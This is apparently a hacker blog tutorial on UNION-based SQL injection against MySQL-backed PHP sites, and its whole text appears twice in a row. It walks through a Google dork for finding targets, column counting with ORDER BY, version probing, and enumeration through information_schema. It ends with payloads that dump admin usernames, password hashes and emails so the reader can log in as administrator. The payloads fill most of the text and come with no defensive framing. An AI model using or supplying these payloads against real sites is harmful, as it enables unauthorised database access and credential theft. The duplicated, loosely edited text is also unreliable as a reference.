In this tutorial I am going to Show you how sql injection works and how its useful to get the database from website .
What is SQL Injection ?
Its most common web application venerability. Its allows attacker to execute SQL queries so website got hacked.
There are tow types of sql injection
1.SQL Injection
2.Blind SQL Injection
So lets start
1.Check for vulnerability
Most famous google dork is "inurl:php?id="
Let’s say that we have some site like this
http://www.site.com/journal.php?id=6
Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/journal.php?id=6′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
that means is vulrnable to sql injection
2 Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
Now we need to Increase the number until we get an error like above.
http://www.site.com/journal.php?id=6 order by 1/* <– no error
http://www.site.com/journal.php?id=6 order by 2/* <– no error
http://www.site.com/journal.php?id=6 order by 3/* <– no error
http://www.site.com/journal.php?id=6 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3.Check for UNION function (for finding most venerable number )
http://www.site.com/journal.php?id=6 union all select 1,2,3/*
If you havnt got the number then try adding "-" sign. after id= then url will be become like
http://www.site.com/journal.php?id=-6 union all select 1,2,3/*
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
4 Check for MySQL version
http://www.site.com/journal.php?id=6 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/journal.php?id=6 union all select 1,@@version,3/*
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/journal.php?id=6 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/journal.php?id=6 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version
5. Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
i.e would be
http://www.site.com/journal.php?id=6 union all select 1,2,3 from admin/*
we know that table admin exists.
now to check column names.
http://www.site.com/journal.php?id=6 union all select 1,username,3 from admin/* (we get username displayed on screen, example would be admin, or superadmin etc.
now to check if column password exists
http://www.site.com/journal.php?id=6 union all select 1,password,3 from admin/*
we seen password on the screen in hash or plain-text, it depends of how the database is set up
i.e md5 hash, mysql hash, sha1
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(username,0×3a,password),3 from admin/*
Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/journal.php?id=6 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,password),3 from mysql.user/*
6 MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one
ie.
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
Now find the Admin panel and login as ADMIN :D
Learn More....
What is SQL Injection ?
Its most common web application venerability. Its allows attacker to execute SQL queries so website got hacked.
There are tow types of sql injection
1.SQL Injection
2.Blind SQL Injection
So lets start
1.Check for vulnerability
Most famous google dork is "inurl:php?id="
Let’s say that we have some site like this
http://www.site.com/journal.php?id=6
Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/journal.php?id=6′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
that means is vulrnable to sql injection
2 Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
Now we need to Increase the number until we get an error like above.
http://www.site.com/journal.php?id=6 order by 1/* <– no error
http://www.site.com/journal.php?id=6 order by 2/* <– no error
http://www.site.com/journal.php?id=6 order by 3/* <– no error
http://www.site.com/journal.php?id=6 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3.Check for UNION function (for finding most venerable number )
http://www.site.com/journal.php?id=6 union all select 1,2,3/*
If you havnt got the number then try adding "-" sign. after id= then url will be become like
http://www.site.com/journal.php?id=-6 union all select 1,2,3/*
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
4 Check for MySQL version
http://www.site.com/journal.php?id=6 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/journal.php?id=6 union all select 1,@@version,3/*
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/journal.php?id=6 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/journal.php?id=6 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version
5. Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
i.e would be
http://www.site.com/journal.php?id=6 union all select 1,2,3 from admin/*
we know that table admin exists.
now to check column names.
http://www.site.com/journal.php?id=6 union all select 1,username,3 from admin/* (we get username displayed on screen, example would be admin, or superadmin etc.
now to check if column password exists
http://www.site.com/journal.php?id=6 union all select 1,password,3 from admin/*
we seen password on the screen in hash or plain-text, it depends of how the database is set up
i.e md5 hash, mysql hash, sha1
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(username,0×3a,password),3 from admin/*
Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/journal.php?id=6 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,password),3 from mysql.user/*
6 MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one
ie.
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
Now find the Admin panel and login as ADMIN :D
Learn More....
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